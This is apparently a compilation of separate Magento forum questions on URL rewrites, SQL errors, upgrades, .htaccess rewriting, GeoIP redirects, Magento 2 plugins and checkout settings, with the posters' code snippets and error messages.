While moving categories using the drag and drop feature in the Magento backend I somehow managed to corrupt my rewrites.  The content in my url_rewrite table varies greatly from what it should be.  It is as though my changes never updated the table correctly when my changes were made.  It is completely unusable and my products are no longer showing on the frontend with the categories.  In addition, my rerwites for the category pages themselves are instead showing the actual path instead of friendly URLs.

So, I believe that it would be a nightmare to try and repair the table manually and would likely run into key constraints.

Is there any way to delete ALL rewrites and regenerate them for my entire store?

I have tried re-indexing numerous times and I have also tried the iazel extension which did not do anything.

I do have the EmagicOne Store Manager and have deleted the entire contents of the my store from the web itself, then re-imported all products and categories from Store Manager and the products did show within the categories for a bit, but shortly after (without changes) they disappeared once again.

Now, I am looking for advice on how to resolve this issue.

Options as I see them:

Destroy all products from the backend once again, but delete all rewrite data in the table this time, then re-import from Store Manager.
Attempt the iazel extension again.

I have nearly 17k products.


texts:
i just installed magento 1.91 with sample product data, when i delete products in batch, there is an error message in backend in red alert box

SQLSTATE[22003]: Numeric value out of range: 1690 BIGINT UNSIGNED value is out of range in '(`m1`.`q`.`items_count` - 1)', query was: UPDATE `sales_flat_quote` AS `q` INNER JOIN `sales_flat_quote_item` AS `qi` ON q.entity_id = qi.quote_id AND qi.parent_item_id IS NULL AND qi.product_id = 432 SET `q`.`items_qty` = `q`.`items_qty` - `qi`.`qty`, `q`.`items_count` = `q`.`items_count` - 1

i've found this issue in official forum

http://www.magentocommerce.com/boards/v/viewthread/286946/

i need to run

UPDATE sales_flat_quote_item qi
INNER JOIN sales_flat_quote q
ON qi.quote_id = q.entity_id
SET q.items_count = 1
WHERE q.items_count = 0
AND qi.product_id = PRODUCT_ID

for every single product when i encounter this error message, it there any method i can solve this problem at one time (for example, change the mysql config?)


texts: sale category to have a different color with marked down price ?

texts:
I have a sales category on my website .I was wondering if theres a way the sale prices which are marked down could come in special kind of color or style .

Thanks .


texts: Best server configuration for Magento 2 small application

texts:
We are developing one small application of electronics in magento 2 community version.

Now we are planning to publish this site so which server/configuration is best for this kind of site

So please help on this.


texts: Magento Trying to display {{block type="catalog/product_list" template="catalog/product/new.phtml"}} on homepage

texts:
Hi I am trying to display the current block

{{block type="catalog/product_list" template="catalog/product/list.phtml"}}

Using the CMS Wysiwg for my home page. I have set the permissions to display the block to yes but it will still not output anything?

If i add text to wysiwyg i can see the text but it's not outputting my template?

Just to add this was working before i used fooman speedster?


texts: Fresh Magento 1.9.1 install shows wrong price format in dropdown menus of configurable products

texts: Every other place where the price is shown it is done in the correct 1.234,00 € (dot for thousands, comma for decimal) format except for dropdown menus of configurable products where the incorrect format of 1,234.00 € is shown. The language is set to German and sole selected currency is Euro. I have no idea what could be causing it. Is this a bug in version 1.9.1?


texts: Magento: 2 Broken image in wysiwyg after overriding the file

texts:
I have override the file

vendor/magento/module-customer/Model/Indexer/Source.php

in this path

Magenticians\Moduleproduct\Model\Indexer\Source.php

just adding one function

public function addAttributeToSelect($fieldName, $alias = null)
{
    $this->customerCollection->addAttributeToSelect($fieldName, $alias);
    return $this;
}

for re-indexing the customers which have custom attribute like account type.

every thing is fine, custom attribute account added , but in admin site  in WYSIWYG when I insert the image. a broken image is display. when I remove the overrides module every thing is fine. not image broken.

I want to identify the error. where is defect which create broken image?


texts: Category sitemap doesn't respect the menu position

texts:
I have a problem with my category sitemap.

Like you can see here : http://bizpro.ch/catalog/seo_sitemap/category/ the category list doesn't respect the menu position.

Do you have any idea?


texts: Redirect Form Action to Controller (404 error on form submit)

texts:
I'm new to Magento.
Need to create an extension which will enable to add comments to products on 'product view' pages.
I created a new tab next to "descriptions" and "reviews" and added the form, but can't put the correct form action which will load the controller file, save the input information and then save it in the database.
Read lot of different articles,but couldn't figure this out.
Any help is greatly appreciated!

This is the form action line in app\design\frontend\rwd\default\template\productcomments\productcomments.phtml

<form enctype="multipart/form-data" method="post" action="<?php echo $this->getUrl('productcomments/index/savecomment'); ?>" id="product-view-add-comment">

Here is my indexController.php content:

class Cpstest_ProductComments_IndexController extends Mage_Core_Controller_Front_Action
{
    public function savecommentAction()
    {
        echo "Hello";
    }
}

And I added the block information (tab "Product Comments") in app\design\frontend\rwd\default\layout\catalog.xml
like this:

<block type="catalog/product_view_attributes" name="product.comments" as="additional" template="productcomments/productcomments.phtml">
    <action method="setTitle" translate="value"><value>Product Comments</value></action>
</block>


texts: How to get ordered quantity from product?

texts:
I'm trying to get the ordered quantity from my catalog/product collection, but I'm having this error:

  Call to undefined method Mage_Catalog_Model_Resource_Product_Collection::addOrderedQty()

Here is my code:

    $collection = Mage::getModel('catalog/product')->getCollection()->addAttributeToSelect('*')->addOrderedQty('', '');

    $this->setCollection($collection);
    parent::_prepareCollection();

    return $this;

How can I solve this and get the ordered quantity on my collection? Thanks in advance.


texts: Magento 2 Knockout JS - What does this._super() do?

texts:
Whilst researching Magento 2's implementation of Knockout JS I keep coming across this._super();.

What does this do?


texts: Problems with SQL Upgrade scripts on EE at a multi majore version upgrade

texts:
We are currently having a strange problem with an upgrade from Magento PE v 1.10.0.1 to Magento EE v 1.12.0.2. Can anyone give us some ideas who has expertise and experience in Magento Upgrades?

The problem we are facing is basically that no changes are being made to they system during the upgrade, which never ends. We have tried 2 methods. First we copied the EE code our system and accessed the website to launch the upgrade. Secondly we to tried to reference our system's database from the local.xml of a Magento EE and accessing the EE  to initiate a database upgrade. In both cases no changes were made to the database (we have been monitoring the core_resource table for updates).

This is a large system with around 8,000 products and 12 store views, but we also made sure that all the indexes were up to date before starting the upgrade.

UPDATE:

The clue was that it was a large system...

By debugging the code we were able to locate the source of the problem : the first upgrade script to be executed was modifying the core_url_rewrite table which had more than half a million records in it.

After truncating the table to allow the upgrade to continue, we started getting random errors in this form:

> a:5:{i:0;s:317:"Error in file:
> "C:\Development\Magento\Enterprise\xxRugCompany\app\code\core\Mage\Catalog\sql\catalog_setup\mysql4-upgrade-1.5.9.9-1.6.0.0.php"
> - SQLSTATE[HY000]: General error: 1025 Error on rename of '.\therugcompany@002dfinal\catalog_product_entity_varchar' to
> '.\therugcompany@002dfinal\#sql2-7338-5' (errno: 152)";i:1;s:1158:"#0
> C:\Development\Magento\Enterprise\xxRugCompany\app\code\core\Mage\Core\Model\Resource\Setup.php(645):
> Mage::exception('Mage_Core', 'Error in file: ...')
> #1 C:\Development\Magento\Enterprise\xxRugCompany\app\code\core\Mage\Core\Model\Resource\Setup.php(437):
> Mage_Core_Model_Resource_Setup->_modifyResourceDb('upgrade',
> '1.4.0.0.44', '1.6.0.0.14')
> #2 C:\Development\Magento\Enterprise\xxRugCompany\app\code\core\Mage\Core\Model\Resource\Setup.php(320):
> Mage_Core_Model_Resource_Setup->_upgradeResourceDb('1.4.0.0.44',
> '1.6.0.0.14')
> #3 C:\Development\Magento\Enterprise\xxRugCompany\app\code\core\Mage\Core\Model\Resource\Setup.php(235):
> Mage_Core_Model_Resource_Setup->applyUpdates()
> #4 C:\Development\Magento\Enterprise\xxRugCompany\app\code\core\Mage\Core\Model\App.php(417):
> Mage_Core_Model_Resource_Setup::applyAllUpdates()
> #5 C:\Development\Magento\Enterprise\xxRugCompany\app\code\core\Mage\Core\Model\App.php(343):
> Mage_Core_Model_App->_initModules()
> #6 C:\Development\Magento\Enterprise\xxRugCompany\app\Mage.php(683): Mage_Core_Model_App->run(Array)
> #7 C:\Development\Magento\Enterprise\xxRugCompany\index.php(78): Mage::run('', 'store')
> #8 {main}";s:3:"url";s:1:"/";s:11:"script_name";s:10:"/index.php";s:4:"skin";s:7:"default";}

Checked out the web for answers and apparently its something to to with foreign key constraints. We already have:

<initStatements><![CDATA[SET NAMES utf8; SET FOREIGN_KEY_CHECKS = 0; SET UNIQUE_CHECKS = 0;]]></initStatements>

set in our local.xml though. Any ideas?


texts: Sites are only loading if I add `index.php` to the URL

texts:
I just copied the live database to my local environment. I changed the base_url to the new domain (virtual host).

My sites on my local environment are only loading if I add index.php to the URL. e.g. http://mysite.local/index.php

If I enter http://mysite.local/ then I get redirected to http://mysite-local/

I already reindexed all.

What is going on?

This is the .htaccess entry which is responsible for the rewrite:

<IfModule mod_rewrite.c>

############################################
## enable rewrites

    Options +FollowSymLinks
    RewriteEngine on

############################################
## you can put here your magento root folder
## path relative to web root

    #RewriteBase /magento/

############################################
## uncomment next line to enable light API calls processing

#    RewriteRule ^api/([a-z][0-9a-z_]+)/?$ api.php?type=$1 [QSA,L]

############################################
## rewrite API2 calls to api.php (by now it is REST only)

    RewriteRule ^api/rest api.php?type=rest [QSA,L]

############################################
## workaround for HTTP authorization
## in CGI environment

    RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]

############################################
## TRACE and TRACK HTTP methods disabled to prevent XSS attacks

    RewriteCond %{REQUEST_METHOD} ^TRAC[EK]
    RewriteRule .* - [L,R=405]

<IfModule mod_setenvif.c>
    <IfModule mod_headers.c>

        ############################################
        # X-Content-Type-Options: nosniff disable content-type sniffing on some browsers.
        Header set X-Content-Type-Options: nosniff

        ############################################
        # This header forces to enables the Cross-site scripting (XSS) filter in browsers (if disabled)
        BrowserMatch \bMSIE\s8 ie8
        Header set X-XSS-Protection: "1; mode=block" env=!ie8

    </IfModule>
</IfModule>

############################################
## redirect for mobile user agents

    #RewriteCond %{REQUEST_URI} !^/mobiledirectoryhere/.*$
    #RewriteCond %{HTTP_USER_AGENT} "android|blackberry|ipad|iphone|ipod|iemobile|opera mobile|palmos|webos|googlebot-mobile" [NC]
    #RewriteRule ^(.*)$ /mobiledirectoryhere/ [L,R=302]

############################################
## always send 404 on missing files in these folders

    RewriteCond %{REQUEST_URI} !^/(media|skin|js)/

############################################
## never rewrite for existing files, directories and links

    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-l

############################################
## rewrite everything else to index.php

    RewriteRule .* index.php [L]

</IfModule>


texts: Magento 2 - Item (Magento\Catalog\Model\ResourceModel\Eav\Attribute\Interceptor) with the same id already exist


texts: I have been trying to create a promo through my Magento store of buy 1 get 1 50% off my cheapest item but only want it on footwear and i cant seem to work it out. is there a way to do this?


texts:
I get product like this way, but how can I get sub category now and ids and label?

$objectManager = \Magento\Framework\App\ObjectManager::getInstance();
        $categoryFactory = $objectManager::getInstance()->get(\Magento\Catalog\Model\CategoryFactory::class);
        $productRepository = $objectManager->get('\Magento\Catalog\Model\ProductRepository');
        $resourceConection = $objectManager->get('\Magento\Framework\App\ResourceConnection');
        $eavConfig = $objectManager->get('\Magento\Eav\Model\Config');
        $jsonHelper = $objectManager->get('\Magento\Framework\Json\Helper\Data');

        $category = $categoryFactory->create();

        $products = $category->load($categoryId)->getProductCollection();

        $products->addAttributeToSelect('*');
        $products->addAttributeToFilter('product_type_custom', array('notnull' => true))->getSelect()->group('product_type_custom');

    $_optionText =  "";

    $firstArray = array();
        //echo $products->getSelect();
        foreach($products as $product)
{
}


texts: Magento 2 - When I run any command it gives me error

texts:
php -f bin/magento cache:flush

php bin/magento setup:upgrade

Commands giving this error.Please check this, https://getcomposer.org/doc/articles/troubleshooting.md#memory-limit-error For more info on how to handle out of memory errors.


texts: We have a Dashboard package which can be accessed as follows: www.shop.be/dashboard. How can we make sure that this always is the homepage? So, www.shop.be will always show the dashboard instead of its default homepage?


texts:
I am using this geoip redirect extension for magento.
https://github.com/magento-hackathon/Sandfox_GeoIP

It works well and I use a file called geoipredirect.php to redirect to store views/websites (called via index.php):

<?php
Mage::app();
$geoIP = Mage::getSingleton('geoip/country');
$country = $geoIP->getCountry();

if (strcmp($country,'DE') == 0) {
    $mageRunType = 'website';
    $mageRunCode = 'website_de';
}

elseif(strcmp($country,'AT') == 0) {
    $mageRunType = 'website';
    $mageRunCode = 'website_at';
}

else
{
    $mageRunType = 'website';
    $mageRunCode = 'base';
}
Mage::reset();

Now I need some some links containing subfolders NOT to be redirected. I have added below code. But the listed URL that includes the subfolder still gets redirected. Any idea whats wrong with the code?

<?php
Mage::app();
$geoIP = Mage::getSingleton('geoip/country');
$country = $geoIP->getCountry();

if( ! is_super_admin() && current_page_url() != 'https://domain.com/subfolder/' ){
        if ($country == "CH" ) {
        redirect("https://domain.com/subfolder/");
        exit;
 }

elseif (strcmp($country,'DE') == 0) {
    $mageRunType = 'website';
    $mageRunCode = 'website_de';
}

elseif(strcmp($country,'AT') == 0) {
    $mageRunType = 'website';
    $mageRunCode = 'website_at';
}

else
{
    $mageRunType = 'website';
    $mageRunCode = 'base';
}
Mage::reset();


texts: How to remove luma logo and replace with an other one from email

texts: I want to remove luma logo from email, I have tried the solution of email_transaction from admin side but It didn't work so kindly give me another solution.


texts: Magento2 - Plugin on ShippingMethodConverter not working

texts:
Class overwrites should be a last resort option when customising M2. I personally stick by the following order: plugin -> observer -> class rewrite.

I am having an issue in the \Magento\Quote\Model\Cart\ShippingMethodConverter area. I'm trying to write a before plugin but for some reason it doesn't work.

I have the following code:
frontend/di.xml

<type name="Magento\Quote\Model\Cart\ShippingMethodConverter">
    <plugin name="Namespace\Quote\Plugin\Quote\Model\Cart\ShippingMethodConverter" type="Namespace\Quote\Plugin\Quote\Model\Cart\ShippingMethodConverter" sortOrder="1" />
</type>

Namespace\Quote\Plugin\Quote\Model\Cart\ShippingMethodConverter.php

<?php

namespace Namespace\Quote\Plugin\Quote\Model\Cart;

class ShippingMethodConverter
{
    public function beforeModelToDataObject($subject, $result, $rate, $quote)
    {
        return $result;
    }
}

Any idea why this is happening I want to avoid class overwrite.


texts:
How can I change the order of input fields in billing information page?
I am setting up our store with Magento CE 1.9.0.1.


texts: Need to show my custom param in product detail page front end in magento2

texts: I need to show my custom param in product detail page i am planning to create product attribute.Can i show that attribute in product detail page is that correct way?


texts: PayPal PayFlow without express not working

texts:
I'm on Magento 1.9.2.4 and I am using PayPal PayFlow Pro with Express Checkout.  However, I don't want to use PayPal express but can't seem to get it turned off.

Here is my settings

And here is the checkout page with the express checkout still there!!!!